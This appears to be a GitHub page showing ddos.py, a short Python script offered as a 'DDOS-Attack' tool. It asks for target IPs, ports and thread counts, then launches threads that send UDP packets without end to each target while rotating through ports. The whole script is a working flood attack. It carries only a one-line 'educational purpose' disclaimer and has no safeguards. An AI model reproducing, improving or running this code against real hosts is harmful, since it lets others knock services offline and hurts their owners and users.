-
Notifications
You must be signed in to change notification settings - Fork 54
/
ddos.py
70 lines (60 loc) · 3.38 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import time
import socket
import scapy.all as scapy
import random
import threading
# DDOS-Attack [ASCII Art]
def display_banner():
banner = "██████╗ ██████╗ ██████╗ ███████╗ █████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗\n"
banner += "██╔══██╗██╔══██╗██╔═══██╗██╔════╝ ██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝\n"
banner += "██║ ██║██║ ██║██║ ██║███████╗█████╗███████║ ██║ ██║ ███████║██║ █████╔╝\n"
banner += "██║ ██║██║ ██║██║ ██║╚════██║╚════╝██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗\n"
banner += "██████╔╝██████╔╝╚██████╔╝███████║ ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗\n"
banner += "╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝\n"
print(banner)
display_banner()
# Terminal header settings and information
os.system('color 0A')
print("Developer : KARTHIK LAL (https://karthiklal.in)")
print("Created Date: 2023-10-12")
print('Project : DDOS-Attack')
print('Purpose : A simple DDOS-Attack tool to test your network security')
print('Caution : This tool is only for educational purpose. Do not use this for illegal purposes.')
print()
# Date and Time Declaration and Initialization
mydate = time.strftime('%Y-%m-%d')
mytime = time.strftime('%H-%M')
# Lets define sock and bytes for our attack
def send_packets(ip, port, data, proxy_size):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sent = 0
while True:
for i in range(proxy_size):
sock.sendto(data, (ip, port))
sent += 1
port += 1
if port == 65534:
port = 1
# Type your ip and port number (find IP address using nslookup or any online website)
ips = input("IP Targets (separated by commas): ").split(',')
ports = input("Ports (separated by commas): ").split(',')
proxy_size = int(input("Proxy Size : "))
threads = int(input("Number of threads : "))
# Lets start the attack
print("Thank you for using the KARTHIK-LAL (DDOS-ATTACK-TOOL).")
time.sleep(3)
for ip in ips:
for port in ports:
# Use a bytes literal to create the data
data = b'Hello, this is a DDOS attack'
print("Starting the attack on ", ip, " at port ", port, " with a proxy size of ", proxy_size, "...")
for i in range(threads):
t = threading.Thread(target=send_packets, args=(ip, int(port), data, proxy_size))
t.start()
# Lets keep the terminal clean
if os.name == "nt": # Windows
os.system("cls")
else: # Linux or Mac
os.system("clear")
input("Press Enter to exit...")